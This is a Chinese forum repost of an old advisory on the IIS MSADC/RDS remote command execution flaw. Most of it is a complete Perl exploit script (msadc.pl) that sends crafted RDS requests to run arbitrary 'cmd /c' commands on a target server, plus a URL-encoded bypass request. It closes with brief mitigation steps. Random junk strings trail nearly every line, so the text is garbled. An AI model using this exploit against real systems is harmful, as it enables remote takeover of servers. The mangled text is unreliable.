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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _\ .  
$hG;2v  
涉及程序: I86e&"40  
Microsoft NT server 'oz hz2s  
^ckj3Y#;  
描述: hq/J6 M  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )t|^Nuj8  
)n\*ht7  
详细: SU?wFCGT%  
如果你没有时间读详细内容的话,就删除: gw_|C|!P  
c:\Program Files\Common Files\System\Msadc\msadcs.dll p= !#],[  
有关的安全问题就没有了。 `9.dgV  
aB6Ye/Io  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1<xcMn0et  
KxO/]  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]>tq|R78  
关于利用ODBC远程漏洞的描述,请参看: ;yF[2P ;  
0o=!j3RjH  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NH'1rt(w  
Eo%UuSi  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +yzcx3<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Tr}R`6d$  
2HcsQ*H] G  
这里不再论述。 cyW;,uT)D  
SHMl%mw  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :e1'o  
c{1V.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ?22d},.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! mfXD1]<.  
`.{U-U\  
; D1FAz  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pG/ NuImA  
yh S#&)O  
#!perl H76E+AY  
# }<vvxi  
# MSADC/RDS 'usage' (aka exploit) script :/+>e IE  
# 2 9q?$V(  
# by rain.forest.puppy >&bv\R/  
# Rr%tbt.sE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 82lr4  
# beta test and find errors! \X&]FZ(*  
<5dH *K  
use Socket; use Getopt::Std; x+4v s s  
getopts("e:vd:h:XR", \%args); iJ}2"i7M  
(nGkZ}p  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F[5S(7M 7  
)))2f skZ  
if (!defined $args{h} && !defined $args{R}) { #nKRTb+{  
print qq~ E]NY (1  
Usage: msadc.pl -h <host> { -d <delay> -X -v } f%c06Un=  
-h <host> = host you want to scan (ip or domain) "X`RQ6~]>  
-d <seconds> = delay between calls, default 1 second f2NA=%\  
-X = dump Index Server path table, if available vCj4;P g  
-v = verbose 9oEpPL5  
-e = external dictionary file for step 5 |Eb&}m:E$  
xJ-*%'(KZ  
Or a -R will resume a command session ~%`EeJwT  
|VK:2p^ u  
~; exit;} |V lMma z  
8=:A/47=J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 'f 3HKn<L  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} \I;cZ>{u"}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h-7A9:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &`\ep9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 9qEOgJ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } XJUEwX  
b7bSTFZxC  
if (!defined $args{R}){ $ret = &has_msadc; bZ/ hgqS  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} oew|23Ytb  
^\MhT)x  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0{Bf9cH  
. "cmd /c "; H.:9:I[n  
$in=<STDIN>; chomp $in; F=srkw:*.  
$command="cmd /c " . $in ; EJ G2^DSS  
T8U[xu.>  
if (defined $args{R}) {&load; exit;} _ \l HI  
x@Y|v@}BE  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Rb#/qkk/  
&try_btcustmr; L;3aZt,#O  
*6XRjq^#  
print "\nStep 2: Trying to make our own DSN..."; 5C B%=iL{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; UxeL cUP  
u#FXW_-TK  
print "\nStep 3: Trying known DSNs..."; usy,V"{  
&known_dsn; M|k&TTV  
_%%yV  
print "\nStep 4: Trying known .mdbs..."; 7%4.b7Q  
&known_mdb; `y2ljIWJ  
as(*B-_n~  
if (defined $args{e}){ *Rq`*D>:U}  
print "\nStep 5: Trying dictionary of DSN names..."; P{cos&X|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 2SciB*5  
;, rnk-  
print "Sorry Charley...maybe next time?\n"; M6_-f ;.  
exit; !R74J=#(  
i j/o;_  
############################################################################## ")ED)&e  
j7}lF?cJ2  
sub sendraw { # ripped and modded from whisker D^u\l  
sleep($delay); # it's a DoS on the server! At least on mine... kon5+g9q  
my ($pstr)=@_; xQo~%wW,?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :G}DAUFN  
die("Socket problems\n"); 4 [1k\  
if(connect(S,pack "SnA4x8",2,80,$target)){ lUHtjr  
select(S); $|=1; vL$|9|W(  
print $pstr; my @in=<S>; IcFK,y%1  
select(STDOUT); close(S); "y$ qrN-  
return @in; ^wJEfac  
} else { die("Can't connect...\n"); }} )|RZa|`-G  
p![&8i@ym  
############################################################################## vU}: U)S  
s`c?:  
sub make_header { # make the HTTP request j=W@P-  
my $msadc=<<EOT C`0%C7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Xhse~=qA  
User-Agent: ACTIVEDATA P>wZ~Hjk  
Host: $ip ({e7U17[#  
Content-Length: $clen  2:'lZQ  
Connection: Keep-Alive BC({ EE~R)  
)[jy[[K(  
ADCClientVersion:01.06 g/#~N~&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /UHp [yod  
vLDi ;  
--!ADM!ROX!YOUR!WORLD! 43L|QFo  
Content-Type: application/x-varg E eB3 }  
Content-Length: $reqlen 6vobta^w  
"0-y*1/m  
EOT {y6C0A*  
; $msadc=~s/\n/\r\n/g; 5 `=KyHi:b  
return $msadc;} :B.G)M\  
tpo>1|  
############################################################################## x: ~d@  
a5?A!k\2  
sub make_req { # make the RDS request ao$):,2*  
my ($switch, $p1, $p2)=@_; P}@*Z>j:#  
my $req=""; my $t1, $t2, $query, $dsn; tS<h8g_  
%S`ik!K"I  
if ($switch==1){ # this is the btcustmr.mdb query hVUIBJ/5(-  
$query="Select * from Customers where City=" . make_shell(); \Y e%o}.{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 0T))>.iu#  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <hv7s,i  
lFf XWNb  
elsif ($switch==2){ # this is general make table query .C= I^  
$query="create table AZZ (B int, C varchar(10))"; e$|VG* d  
$dsn="$p1";} aZKXD! 4  
c'0 5{C  
elsif ($switch==3){ # this is general exploit table query J3B.-XJ+n  
$query="select * from AZZ where C=" . make_shell(); VR4%v9[1  
$dsn="$p1";} y|sma;D  
_- %d9@x  
elsif ($switch==4){ # attempt to hork file info from index server M|r8KW~S)  
$query="select path from scope()"; i03gX<=*  
$dsn="Provider=MSIDXS;";} Pp*}R2  
d>!p=O`>{q  
elsif ($switch==5){ # bad query {/ &B!zvl  
$query="select"; 5v9uHxy  
$dsn="$p1";} S}7>RHe  
4ht\&2&:  
$t1= make_unicode($query); uyT/Xzo3  
$t2= make_unicode($dsn); Rp/-Pv   
$req = "\x02\x00\x03\x00"; 2 B` 8eb  
$req.= "\x08\x00" . pack ("S1", length($t1)); \r;F2C0*i  
$req.= "\x00\x00" . $t1 ; "}zda*z8  
$req.= "\x08\x00" . pack ("S1", length($t2)); &fSTR-8ev#  
$req.= "\x00\x00" . $t2 ; GMm'of#  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |C D}<r(N  
return $req;} tcA;#^jc  
 YqU/\f+  
############################################################################## maDz W_3  
kCA5|u  
sub make_shell { # this makes the shell() statement cNj*E =~;  
return "'|shell(\"$command\")|'";} wL2XNdo}<  
D1Yh,P<CF\  
############################################################################## ``9 GY  
^,V[nfQR  
sub make_unicode { # quick little function to convert to unicode Q4wc-s4RN  
my ($in)=@_; my $out; q# vlBL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /6U 4S>'(  
return $out;} };sMU6e  
HmV /> 9  
############################################################################## \ e,?rH  
-0 0}if7  
sub rdo_success { # checks for RDO return success (this is kludge) GZ8:e3ri  
my (@in) = @_; my $base=content_start(@in); I7mG/  
if($in[$base]=~/multipart\/mixed/){ %-j&e44  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} gj+3y9  
return 0;} I/B1qw;MN  
VXIQw' Cq  
############################################################################## 8#59iQl  
d+}kg  
sub make_dsn { # this makes a DSN for us Y {c5  
my @drives=("c","d","e","f"); <xn;bp[  
print "\nMaking DSN: "; &1GUi{I  
foreach $drive (@drives) { bGv4.:)  
print "$drive: "; p4> ,Fwy2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . CLN+I'uX0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 3ATjsOL  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `|<+  ?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; >&Fa(o;*  
return 0 if $2 eq "404"; # not found/doesn't exist HFS+QwHW  
if($2 eq "200") { jvs[ /  
foreach $line (@results) { rAXX}"l6s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} DJP 6TFT&G  
} return 0;} Fe$/t(  
%j{.0 H  
############################################################################## :'*DMW~  
iZ; TYcT  
sub verify_exists { @2e2^8X7f  
my ($page)=@_; ]}2Ztr)zZ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); nY^Nbh0  
return $results[0];} '[Gm8K5  
Y\?j0X;  
############################################################################## 0ar=cuDm  
|F!F{d^p  
sub try_btcustmr { ^l!L)iw  
my @drives=("c","d","e","f"); !k<:k "7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]rW8y%yD  
TnE+[.Qu  
foreach $dir (@dirs) { /F~X,lm*~  
print "$dir -> "; # fun status so you can see progress r4;Bu<PQN1  
foreach $drive (@drives) { 6^YJ]w  
print "$drive: "; # ditto BUC,M:J+H  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; D,rZ0?R  
$reqlenlen=length( "$reqlen" ); Z+idLbIs  
$clen= 206 + $reqlenlen + $reqlen; +?d}7zh  
HDS"F.l5  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \*"`L3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 40K2uT{cq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <NB41/  
xmH-!Da  
############################################################################## \G;CQV#{9  
7 g6RiH}  
sub odbc_error { 59!)j>f  
my (@in)=@_; my $base; fLB1)kTS  
my $base = content_start(@in); \&q=@rJp(z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {}\CL#~y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GLh]G(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b!a %YLL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^M Ey,  
return $in[$base+4].$in[$base+5].$in[$base+6];} BaL]mIx  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; T1N H eH>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . v>-Y uS  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} F?4Sz#  
')o0O9/;  
############################################################################## xP@/9SM  
I@./${o  
sub verbose { >XE`h 9  
my ($in)=@_; ,w`~K:b.  
return if !$verbose; CC8k&u,  
print STDOUT "\n$in\n";} aRwnRii  
f7+Cz>R  
############################################################################## (9GbG"   
./w{L"E  
sub save { R6@uM<  
my ($p1, $p2, $p3, $p4)=@_; ^:DyT@hQB5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; jXR16|  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5(J^N  
close OUT;} o'Y#H r)/  
"ahvNx;x  
############################################################################## Qpu3(`d<  
+qkMQETV6  
sub load { mJMq{6;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; nem@sB;v#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); L[C*@ uK  
@p=<IN>; close(IN); gq4 . d  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); DuNcX$%%  
$target= inet_aton($ip) || die("inet_aton problems"); \4s;!R!  
print "Resuming to $ip ..."; H;I~N*ltJ(  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Z.Pi0c+  
if($p[1]==1) { V0NVGRQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Lt>7hBe"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; u~'OcO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); T]71lRY5  
if (rdo_success(@results)){print "Success!\n";} )zJ=PF  
else { print "failed\n"; verbose(odbc_error(@results));}} gaeOgP.0  
elsif ($p[1]==3){ J}@GKNm  
if(run_query("$p[3]")){ % h+uD^^$  
print "Success!\n";} else { print "failed\n"; }} hKksVi  
elsif ($p[1]==4){ g42T#p8^  
if(run_query($drvst . "$p[3]")){ 4vqNule  
print "Success!\n"; } else { print "failed\n"; }} se,Z#H  
exit;} 9} *$n&B  
(hf zM+2  
############################################################################## AMT slo  
h5-d;RKE  
sub create_table { J Jy{@[m  
my ($in)=@_; p\S8oHWe  
$reqlen=length( make_req(2,$in,"") ) - 28; r~oSP^e'  
$reqlenlen=length( "$reqlen" ); ct0v$ct>f  
$clen= 206 + $reqlenlen + $reqlen; f z%tA39m  
my @results=sendraw(make_header() . make_req(2,$in,"")); KXe ka  
return 1 if rdo_success(@results); ( V4G<-jG  
my $temp= odbc_error(@results); verbose($temp); O5-;I,)H  
return 1 if $temp=~/Table 'AZZ' already exists/; x!?Z *v@I  
return 0;} 'F5)ACA%  
 :]c=pH  
############################################################################## F<r4CHfh;  
]kS7n @8  
sub known_dsn { q^Inb)FeN  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]{Ek[Av  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ,!>fmU`E4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6V;:+"BkJ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); :6u~aT/  
j9xXKa5  
foreach $dSn (@dsns) { lzfDH =&  
print "."; AZ wa4n}"  
next if (!is_access("DSN=$dSn")); ZQ[~*)  
if(create_table("DSN=$dSn")){ 1nB@zBQu -  
print "$dSn successful\n"; NI\H \#bJ  
if(run_query("DSN=$dSn")){ F5IZ"Itu(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _,Q[2gQ5N  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !$r9C/k  
3bts7<K=  
############################################################################## mP!N<K  
) `I=oB  
sub is_access { *Sb2w*c>  
my ($in)=@_; qGa<@ b  
$reqlen=length( make_req(5,$in,"") ) - 28; KjYDFrR4  
$reqlenlen=length( "$reqlen" ); FpdHnu i1  
$clen= 206 + $reqlenlen + $reqlen; }vD;DSz:  
my @results=sendraw(make_header() . make_req(5,$in,"")); + *a7GttU  
my $temp= odbc_error(@results); {!t=n   
verbose($temp); return 1 if ($temp=~/Microsoft Access/); q^6N+^}QN  
return 0;} & rQD`E/  
+H}e)1^ I  
############################################################################## w `!LFHK  
`,Zb2"  
sub run_query { oCA(FQ6  
my ($in)=@_; >0V0i%inmF  
$reqlen=length( make_req(3,$in,"") ) - 28; !a[$)c  
$reqlenlen=length( "$reqlen" ); w\DspF  
$clen= 206 + $reqlenlen + $reqlen; W.$6 pzB(  
my @results=sendraw(make_header() . make_req(3,$in,"")); yFO)<GLk  
return 1 if rdo_success(@results); +2y&B,L_Wh  
my $temp= odbc_error(@results); verbose($temp); o^PuhVu  
return 0;} bK7.St  
z1Q2*:)c  
############################################################################## *(nJX.7  
+-P<CCvWz  
sub known_mdb { i[_| %'p  
my @drives=("c","d","e","f","g"); ^4UcTjh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); e YDUon  
my $dir, $drive, $mdb; -yA3 RP  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; % $.vOFP9  
$_bZA;EMQ  
# this is sparse, because I don't know of many _H2tZ%RM  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  ~me\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", e>!E=J)j  
"\\system32\\certmdb.mdb", kjX7- ZPY  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 4cB&Hk  
B_tQeM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", kp; &cQu!  
"\\cfusion\\cfapps\\forums\\forums_.mdb", p z @km  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 1M/$< kQ-N  
"\\cfusion\\cfapps\\security\\realm_.mdb", tQ[]Rc  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6KB^w0oA  
"\\cfusion\\database\\cfexamples.mdb", [Q:f-<nH  
"\\cfusion\\database\\cfsnippets.mdb", to51hjV  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", hiIya WU  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,`"K  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9'X@@6b*'  
"\\cfusion\\database\\smpolicy.mdb", _XWnS9  
"\\cfusion\\database\cypress.mdb", <S{7Ro  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", e?1KbJ?.  
"\\website\\cgi-win\\dbsample.mdb", m0C{SBn-M  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", +9_,w bF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" '$*[SauAG  
); #these are just D&f!( n  
foreach $drive (@drives) { %r P !  
foreach $dir (@dirs){ S ;h&5.p  
foreach $mdb (@sysmdbs) { F-tFet  
print "."; dm  2EH  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9.]kOs_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `fMpV8vv  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _G[6+g5|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  `~h0?g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} kz_M;h>  
F;W'  
foreach $drive (@drives) { TR?Bvy2s:g  
foreach $mdb (@mdbs) { {RJ52Gx(  
print "."; sy=dY@W^  
if(create_table($drv . $drive . $dir . $mdb)){ )WclV~  
print "\n" . $drive . $dir . $mdb . " successful\n"; cTy'JT7  
if(run_query($drv . $drive . $dir . $mdb)){ :i}@Br+R7L  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 18rp; l{  
} else { print "Something's borked. Use verbose next time\n"; }}}} LGXZx}4@;  
} 1Df, a#,y"  
%2,/jhHL  
############################################################################## :-U53}Iy  
tStJ2-5*t  
sub hork_idx { ]6q*)q:`  
print "\nAttempting to dump Index Server tables...\n"; St_S l:m$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1[px`%DR~  
$reqlen=length( make_req(4,"","") ) - 28; >-eS&rma  
$reqlenlen=length( "$reqlen" ); s*eyTm  
$clen= 206 + $reqlenlen + $reqlen; }9 ?y'6l  
my @results=sendraw2(make_header() . make_req(4,"","")); ]An_5J  
if (rdo_success(@results)){ d&?F#$>7|  
my $max=@results; my $c; my %d; /0-\ek ye  
for($c=19; $c<$max; $c++){ }\ EL;sT  
$results[$c]=~s/\x00//g; lZBv\JE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Gg}t-_M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; c{ 7<H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !;jgzi?z  
$d{"$1$2"}="";} 5Vm Eyb  
foreach $c (keys %d){ print "$c\n"; } 4NJVW+:2  
} else {print "Index server doesn't seem to be installed.\n"; }} ePi Z  
&D^e<j}RQ  
############################################################################## 8a?IC|~Pz  
i"< ZVw  
sub dsn_dict { Pm~,Ky&Hl  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9V.+U7\w  
while(<IN>){ /K[]B]1NE  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^SgN(-QH  
next if (!is_access("DSN=$dSn")); |Cu1uwy  
if(create_table("DSN=$dSn")){ !*9FKDB{  
print "$dSn successful\n"; vWuyft*  
if(run_query("DSN=$dSn")){ y]w )`}Ax  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r<v_CFJ  
print "Something's borked. Use verbose next time\n";}}} aw]8V:)$J  
print "\n"; close(IN);} k,A M]H  
F~%|3a$Y  
############################################################################## ML"_CQlE7  
@::lJDGVv  
sub sendraw2 { # ripped and modded from whisker \6Xn]S  
sleep($delay); # it's a DoS on the server! At least on mine... M`(;>Kp7  
my ($pstr)=@_; {rz>^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || raSF3b/0  
die("Socket problems\n"); K[n<+e;G  
if(connect(S,pack "SnA4x8",2,80,$target)){ \Ec X!aC  
print "Connected. Getting data"; ~R)1nN|  
open(OUT,">raw.out"); my @in; =1eV   
select(S); $|=1; print $pstr; G}Gb|sD Zq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} } !Xf&c{7{  
close(OUT); select(STDOUT); close(S); return @in; w~ijD ^ g  
} else { die("Can't connect...\n"); }} N=.}h\{0  
>}mNi:6xq  
############################################################################## dWMccn;-m  
3F;EE:  
sub content_start { # this will take in the server headers [1e.i  
my (@in)=@_; my $c; $x/J+9Ww  
for ($c=1;$c<500;$c++) { 3Sk5I%  
if($in[$c] =~/^\x0d\x0a/){ EkDws `@  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } GpScc'a7  
else { return $c+1; }}} wE)] ah:  
return -1;} # it should never get here actually )7tV*=?Ic8  
pz.Y=V\t  
############################################################################## coW)_~U|  
L(W%~UGN V  
sub funky { LE<:.?<Z-  
my (@in)=@_; my $error=odbc_error(@in); ^kc>m$HY  
if($error=~/ADO could not find the specified provider/){ -?[O"D"c  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 6^WiZ^~  
exit;} iOKr9%9?Z  
if($error=~/A Handler is required/){  y/z9Ce*>  
print "\nServer has custom handler filters (they most likely are patched)\n"; p!C_:Z5i  
exit;} xP XoJN  
if($error=~/specified Handler has denied Access/){ H^ESA s6  
print "\nServer has custom handler filters (they most likely are patched)\n"; ',:3>{9  
exit;}} Y!bpOa&  
3/SfUfWo  
############################################################################## KsZ@kTs  
NJ.rv  
sub has_msadc { ,"x23=]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Pv^(Q ]  
my $base=content_start(@results); L00Sp#$\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2*N&q|ED  
return 0;} ys:1Z\$P  
4F}g(  
######################## -/@|2!d  
zw}@nqp   
F">Nrj-bs  
解决方案: USlF+RY@3L  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3| GNi~  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 rhlW  
md1EJ1\14  
拿出来充数 哈哈
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